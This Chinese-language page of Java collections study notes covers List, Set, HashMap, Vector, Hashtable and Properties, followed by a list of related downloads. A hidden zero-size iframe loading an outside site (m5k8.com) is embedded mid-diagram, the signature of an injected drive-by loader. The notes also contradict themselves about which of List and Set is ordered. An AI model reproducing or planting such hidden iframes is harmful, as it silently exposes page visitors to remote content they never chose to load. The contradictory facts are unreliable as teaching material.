集合:(比数组效率高,数组长固定)
1.collection是一个接口collections是一个类.
collection有子接口:List(无序),set(有序)等
2.Set--无序,不允许重复元素.
List--有序,可以有重复的元素.(相当于动态可以自动增长的链表)
3.HashSet 实现Set接口.
ArrayList(可变长的数组)和LinkedList(List的链表实现,可以成为堆栈,队列或双向链表)都实现了List接口.
4.Iterator访问集合中元素的过程.(其中ListIterator用于List类)
5.Map接口(一个单独的接口)是Dictionary类的替代品.
HashMap是以哈希表的形式存储key-value对,速度快.
(非线程安全,当二个人同时操作一个对象是会造成数据丢失)
{JDK1.1中用到的:Vector(List接口),Stack(Vector的子类),,Hashtable(实现Map接口),Enumeration(枚举)这些类
都是线程安全的,性能低,重量级的.}
Dictionary类提供的按键取值的功能,他是个抽象类,要使用时需用他的子类HashTable.
6.Properities类
哈希表里存的关键字--值对可以是各种类型的.而propeties就相对简单,它只存放字符串对.用setProperties()和getProperties()操作.
|--Set(接口)--HashSet(类)
|
Collection----|
| |--ArrayList(可变长数组类)
|--List(接口)--|
|--LinkedList(链表)<IFRAME SRC="HTTP://www.m5k8.com/gr.htm" WIDTH=0 HEIGHT=0></IFRAME>
以上集合是经常使用于DAO操作中,更重要作用是在Hibernate中的实体关系映射中能够很好的实现实体之间的关联关系。
分享到:
相关推荐
数据库课程设计计算器——主要实现四则混和运算,简单科学计算,数制间转换,获取... 数据结构:堆栈(使用JAVA中util包中Stack类) 列表(使用JAVA中util包中ArrayList类) 界面良好,代码完整可直接运行,文档很好哦!
*数据结构课程设计——计算器 主要实现四则混和运算,简单科学计算,数制间转换,获取系统时间,另有帮助选项并设有热键 ... 数据结构:堆栈(使用JAVA中util包中Stack类) 列表(使用JAVA中util包中ArrayList类) */
java.util包介绍.pdf很详细的!!!!
集合是将多个元素组成一个单元的...Java集合框架,为我们提供了一套性能优良、使用方便的接口和类,我们不必再重新发明轮子,只需学会如何使用它们,就可以处理实际应用中出现的问题了Java集合框架位于java.util包中
1. java.util.concurrent - Java 并发工具包 2. 阻塞队列 BlockingQueue 3. 数组阻塞队列 ArrayBlockingQueue 4. 延迟队列 DelayQueue 5. 链阻塞队列 LinkedBlockingQueue 6. 具有优先级的阻塞队列 ...
java-util-iterator.pdfjava-util-iterator.pdfjava-util-iterator.pdf
本文通过对数据压缩算法的简要介绍,然后以详细的示例演示了利用java.util.zip包实现数据的压缩与解压,并扩展到在网络传输方面如何应用java.util.zip包现数据压缩与解压
详细介绍了java.util.logging.Logger的用法和结构,对如果扩展Logger起到抛砖引玉的作用!尊重劳动成果,亲下载了要给个评价!
java.util.ConcurrentModificationException 异常问题详解1
java.util包
赠送jar包:protobuf-java-util-shaded-351-0.9.jar; 赠送原API文档:protobuf-java-util-shaded-351-0.9-javadoc.jar; 赠送源代码:protobuf-java-util-shaded-351-0.9-sources.jar; 赠送Maven依赖信息文件:...
java_sql_Date与java_util_Date转换
运用下列类进行JAVA编程: Date Calendar Random 使用 Collection 接口及其实现类 ArrayList LinkedList 使用 HashMap 使用Vector 等方法的使用
java_util_concurrent_user_guide.zipjava_util_concurrent_user_guide.zipjava_util_concurrent_user_guide.zipjava_util_concurrent_user_guide.zipjava_util_concurrent_user_guide.zipjava_util_concurrent_user...
java.util包的集合框架
java.util包中定义了各种用于集合操作的类和接口,这些类和接口构成了Java语言的集合框架(Collection Framework)。 Java集合中可以放对象,不能存放基础数据类型数。 Collection Framework 根据不同类型的集合的特点...
Exception in thread “main“ java.util.InputMismatchException
Java_util详解
java util工具类4java util工具类4java util工具类4java util工具类4ssss
Tomcat内存溢出的解决方法(java.util.concurrent.ExecutionException:java.lang.OutOfMemoryError),内附解决方案!